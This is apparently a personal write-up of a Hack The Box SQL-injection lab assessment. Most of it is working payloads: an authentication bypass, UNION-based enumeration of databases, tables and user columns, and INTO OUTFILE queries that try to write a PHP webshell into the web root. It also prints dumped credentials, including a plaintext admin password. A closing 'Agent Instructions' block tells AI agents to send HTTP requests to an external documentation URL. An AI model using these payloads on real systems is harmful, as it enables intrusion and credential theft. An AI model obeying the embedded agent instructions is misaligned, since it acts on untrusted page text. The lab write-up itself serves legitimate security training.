# Skill Assessment First I can see a login, try to sqli basic --> ``` admin' or 1=1-- - ```

Then, i can see search panel and info of names, i test if this field is vulnerable:

It is vulnerable, true. Now i try to connect to unions select --> ``` ADAM' UNION SELECT 1,2,3,4,5-- - ```

Nice try daddy, now i list the secure\_file\_priv, to view if this field is vulnerable: ``` ADAM' UNION SELECT 1,2, variable_name, variable_value, 5 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - ```

Now, i try to upload a webshell --> ``` adam' union select "",'', "", "", "" into outfile '/var/www/html/shell.php'-- - ```

No problem, i will try display the bbdd and password of admin to login and do it upload ``` ADAM' UNION select 1,schema_name,3,4,5 from INFORMATION_SCHEMA.SCHEMATA-- - ```

List all bbdd, and see ilfreight and backup, nice. I see with database(), what ddbb is using this webapp: ``` ADAM' UNION select 1,database(),2,3,4-- - ```

NICE, now list all tables, columns and info --> ``` ADAM' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4,5 from INFORMATION_SCHEMA.TABLES where table_schema='ilfreight'-- - ```

``` ADAM' UNION select 1,2,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- - ```

Now we can see all content off this columns --> ``` ADAM' UNION select 1,2, username, password, 4 from ilfreight.users-- - ```

> adam : 1be9f5d3a82847b8acca40544f953515 Try to login again into the login... but...

NO SURRENDER! I will try to enum the backup bbdd

``` ADAM' UNION select 1,2,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='admin_bk'-- - ```

Now, i list the columns: ``` ADAM' UNION select 1,2,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='admin_bk'-- - ```

To the end, i display all data of this comuns --> ``` ADAM' UNION select 1,2, username, password, 4 from backup.admin_bk-- - ```

> admin : Inl\@n3\_fre1gh7\_adm!n NOW YEAAAHHH, but... it is the same user i have... sooooo.

There are something i am doing bad... The above responde message is: Permsion Denied... Yeah... but... the query is it: ``` ' union select "",'', "","", "" into outfile '/var/www/html/shell.php'-- - ```

"Cant create to file in /var/www/html", but... i am in /dashboad/dasboard.php, try it --> ``` ' union select "",'', "","", "" into outfile '/var/www/html/dashboard/shell.php'-- - ``` NOTHING ERROR!! Search the file

> HOLY SH1T!! I NEED SLEEP

--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/sql-injection/skill-assessment.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.